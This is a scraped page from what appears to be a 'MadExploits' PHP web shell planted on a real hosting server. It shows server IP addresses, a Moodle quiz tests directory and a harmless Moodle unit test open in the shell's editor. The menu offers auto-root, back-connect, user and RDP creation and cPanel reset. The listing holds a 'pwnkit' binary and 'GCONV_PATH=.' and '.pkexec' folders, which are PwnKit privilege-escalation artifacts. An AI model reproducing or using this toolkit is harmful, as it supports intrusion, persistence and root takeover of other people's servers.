Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.17.142
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
mod /
quiz /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
behat
[ DIR ]
drwxr-xr-x
fixtures
[ DIR ]
drwxr-xr-x
generator
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
attempt_test.php
17.16
KB
-rw-r--r--
attempt_walkthrough_from_csv_t...
15.23
KB
-rw-r--r--
attempt_walkthrough_test.php
13.49
KB
-rw-r--r--
attempts_test.php
40.52
KB
-rw-r--r--
calendar_event_modified_test.p...
18.63
KB
-rw-r--r--
events_test.php
31.16
KB
-rw-r--r--
external_test.php
87.01
KB
-rw-r--r--
generator_test.php
2.36
KB
-rw-r--r--
lib_test.php
49.56
KB
-rw-r--r--
local_structure_slot_random_te...
16.17
KB
-rw-r--r--
locallib_test.php
31.74
KB
-rw-r--r--
privacy_legacy_quizaccess_poly...
6.92
KB
-rw-r--r--
privacy_provider_test.php
20.37
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
quiz_question_bank_view_test.p...
2.89
KB
-rw-r--r--
quizdisplayoptions_test.php
3.76
KB
-rw-r--r--
quizobj_test.php
2.29
KB
-rw-r--r--
repaginate_test.php
10.75
KB
-rw-r--r--
reportlib_test.php
6.48
KB
-rw-r--r--
restore_attempt_test.php
4.51
KB
-rw-r--r--
restore_date_test.php
4.5
KB
-rw-r--r--
restore_override_test.php
3.85
KB
-rw-r--r--
structure_test.php
39.41
KB
-rw-r--r--
tags_test.php
3.84
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : repaginate_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Unit tests for the {@link \mod_quiz\repaginate} class. * @package mod_quiz * @category test * @copyright 2014 The Open Univsersity * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); global $CFG; require_once($CFG->dirroot . '/mod/quiz/locallib.php'); require_once($CFG->dirroot . '/mod/quiz/classes/repaginate.php'); /** * Testable subclass, giving access to the protected methods of {@link \mod_quiz\repaginate} * @copyright 2014 The Open Univsersity * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class mod_quiz_repaginate_testable extends \mod_quiz\repaginate { public function __construct($quizid = 0, $slots = null) { return parent::__construct($quizid, $slots); } public function get_this_slot($slots, $slotnumber) { return parent::get_this_slot($slots, $slotnumber); } public function get_slots_by_slotid($slots = null) { return parent::get_slots_by_slotid($slots); } public function get_slots_by_slot_number($slots = null) { return parent::get_slots_by_slot_number($slots); } public function repaginate_this_slot($slot, $newpagenumber) { return parent::repaginate_this_slot($slot, $newpagenumber); } public function repaginate_next_slot($nextslotnumber, $type) { return parent::repaginate_next_slot($nextslotnumber, $type); } } /** * Test for some parts of the repaginate class. * @copyright 2014 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class mod_quiz_repaginate_test extends advanced_testcase { /** @var array stores the slots. */ private $quizslots; /** @var mod_quiz_repaginate_testable the object being tested. */ private $repaginate = null; public function setUp(): void { $this->set_quiz_slots($this->get_quiz_object()->get_slots()); $this->repaginate = new mod_quiz_repaginate_testable(0, $this->quizslots); } public function tearDown(): void { $this->repaginate = null; } /** * Create a quiz, add five questions to the quiz * which are all on one page and return the quiz object. */ private function get_quiz_object() { global $SITE; $this->resetAfterTest(true); // Make a quiz. $quizgenerator = $this->getDataGenerator()->get_plugin_generator('mod_quiz'); $quiz = $quizgenerator->create_instance(array( 'course' => $SITE->id, 'questionsperpage' => 0, 'grade' => 100.0, 'sumgrades' => 2)); $cm = get_coursemodule_from_instance('quiz', $quiz->id, $SITE->id); // Create five questions. $questiongenerator = $this->getDataGenerator()->get_plugin_generator('core_question'); $cat = $questiongenerator->create_question_category(); $shortanswer = $questiongenerator->create_question('shortanswer', null, array('category' => $cat->id)); $numerical = $questiongenerator->create_question('numerical', null, array('category' => $cat->id)); $essay = $questiongenerator->create_question('essay', null, array('category' => $cat->id)); $truefalse = $questiongenerator->create_question('truefalse', null, array('category' => $cat->id)); $match = $questiongenerator->create_question('match', null, array('category' => $cat->id)); // Add them to the quiz. quiz_add_quiz_question($shortanswer->id, $quiz); quiz_add_quiz_question($numerical->id, $quiz); quiz_add_quiz_question($essay->id, $quiz); quiz_add_quiz_question($truefalse->id, $quiz); quiz_add_quiz_question($match->id, $quiz); // Return the quiz object. $quizobj = new quiz($quiz, $cm, $SITE); return \mod_quiz\structure::create_for_quiz($quizobj); } /** * Set the quiz slots * @param string $slots */ private function set_quiz_slots($slots = null) { if (!$slots) { $this->quizslots = $this->get_quiz_object()->get_slots(); } else { $this->quizslots = $slots; } } /** * Test the get_this_slot() method */ public function test_get_this_slot() { $this->set_quiz_slots(); $actual = array(); $expected = $this->repaginate->get_slots_by_slot_number(); $this->assertEquals($expected, $actual); $slotsbyno = $this->repaginate->get_slots_by_slot_number($this->quizslots); $slotnumber = 5; $thisslot = $this->repaginate->get_this_slot($this->quizslots, $slotnumber); $this->assertEquals($slotsbyno[$slotnumber], $thisslot); } public function test_get_slots_by_slotnumber() { $this->set_quiz_slots(); $expected = array(); $actual = $this->repaginate->get_slots_by_slot_number(); $this->assertEquals($expected, $actual); foreach ($this->quizslots as $slot) { $expected[$slot->slot] = $slot; } $actual = $this->repaginate->get_slots_by_slot_number($this->quizslots); $this->assertEquals($expected, $actual); } public function test_get_slots_by_slotid() { $this->set_quiz_slots(); $actual = $this->repaginate->get_slots_by_slotid(); $this->assertEquals(array(), $actual); $slotsbyno = $this->repaginate->get_slots_by_slot_number($this->quizslots); $actual = $this->repaginate->get_slots_by_slotid($slotsbyno); $this->assertEquals($this->quizslots, $actual); } public function test_repaginate_n_questions_per_page() { $this->set_quiz_slots(); // Expect 2 questions per page. $expected = array(); foreach ($this->quizslots as $slot) { // Page 1 contains Slots 1 and 2. if ($slot->slot >= 1 && $slot->slot <= 2) { $slot->page = 1; } // Page 2 contains slots 3 and 4. if ($slot->slot >= 3 && $slot->slot <= 4) { $slot->page = 2; } // Page 3 contains slots 5. if ($slot->slot >= 5 && $slot->slot <= 6) { $slot->page = 3; } $expected[$slot->id] = $slot; } $actual = $this->repaginate->repaginate_n_question_per_page($this->quizslots, 2); $this->assertEquals($expected, $actual); // Expect 3 questions per page. $expected = array(); foreach ($this->quizslots as $slot) { // Page 1 contains Slots 1, 2 and 3. if ($slot->slot >= 1 && $slot->slot <= 3) { $slot->page = 1; } // Page 2 contains slots 4 and 5. if ($slot->slot >= 4 && $slot->slot <= 6) { $slot->page = 2; } $expected[$slot->id] = $slot; } $actual = $this->repaginate->repaginate_n_question_per_page($this->quizslots, 3); $this->assertEquals($expected, $actual); // Expect 5 questions per page. $expected = array(); foreach ($this->quizslots as $slot) { // Page 1 contains Slots 1, 2, 3, 4 and 5. if ($slot->slot > 0 && $slot->slot < 6) { $slot->page = 1; } // Page 2 contains slots 6, 7, 8, 9 and 10. if ($slot->slot > 5 && $slot->slot < 11) { $slot->page = 2; } $expected[$slot->id] = $slot; } $actual = $this->repaginate->repaginate_n_question_per_page($this->quizslots, 5); $this->assertEquals($expected, $actual); // Expect 10 questions per page. $expected = array(); foreach ($this->quizslots as $slot) { // Page 1 contains Slots 1 to 10. if ($slot->slot >= 1 && $slot->slot <= 10) { $slot->page = 1; } // Page 2 contains slots 11 to 20. if ($slot->slot >= 11 && $slot->slot <= 20) { $slot->page = 2; } $expected[$slot->id] = $slot; } $actual = $this->repaginate->repaginate_n_question_per_page($this->quizslots, 10); $this->assertEquals($expected, $actual); // Expect 1 questions per page. $expected = array(); $page = 1; foreach ($this->quizslots as $slot) { $slot->page = $page++; $expected[$slot->id] = $slot; } $actual = $this->repaginate->repaginate_n_question_per_page($this->quizslots, 1); $this->assertEquals($expected, $actual); } public function test_repaginate_this_slot() { $this->set_quiz_slots(); $slotsbyslotno = $this->repaginate->get_slots_by_slot_number($this->quizslots); $slotnumber = 3; $newpagenumber = 2; $thisslot = $slotsbyslotno[3]; $thisslot->page = $newpagenumber; $expected = $thisslot; $actual = $this->repaginate->repaginate_this_slot($slotsbyslotno[3], $newpagenumber); $this->assertEquals($expected, $actual); } public function test_repaginate_the_rest() { $this->set_quiz_slots(); $slotfrom = 1; $type = \mod_quiz\repaginate::LINK; $expected = array(); foreach ($this->quizslots as $slot) { if ($slot->slot > $slotfrom) { $slot->page = $slot->page - 1; $expected[$slot->id] = $slot; } } $actual = $this->repaginate->repaginate_the_rest($this->quizslots, $slotfrom, $type, false); $this->assertEquals($expected, $actual); $slotfrom = 2; $newslots = array(); foreach ($this->quizslots as $s) { if ($s->slot === $slotfrom) { $s->page = $s->page - 1; } $newslots[$s->id] = $s; } $type = \mod_quiz\repaginate::UNLINK; $expected = array(); foreach ($this->quizslots as $slot) { if ($slot->slot > ($slotfrom - 1)) { $slot->page = $slot->page - 1; $expected[$slot->id] = $slot; } } $actual = $this->repaginate->repaginate_the_rest($newslots, $slotfrom, $type, false); $this->assertEquals($expected, $actual); } }
Close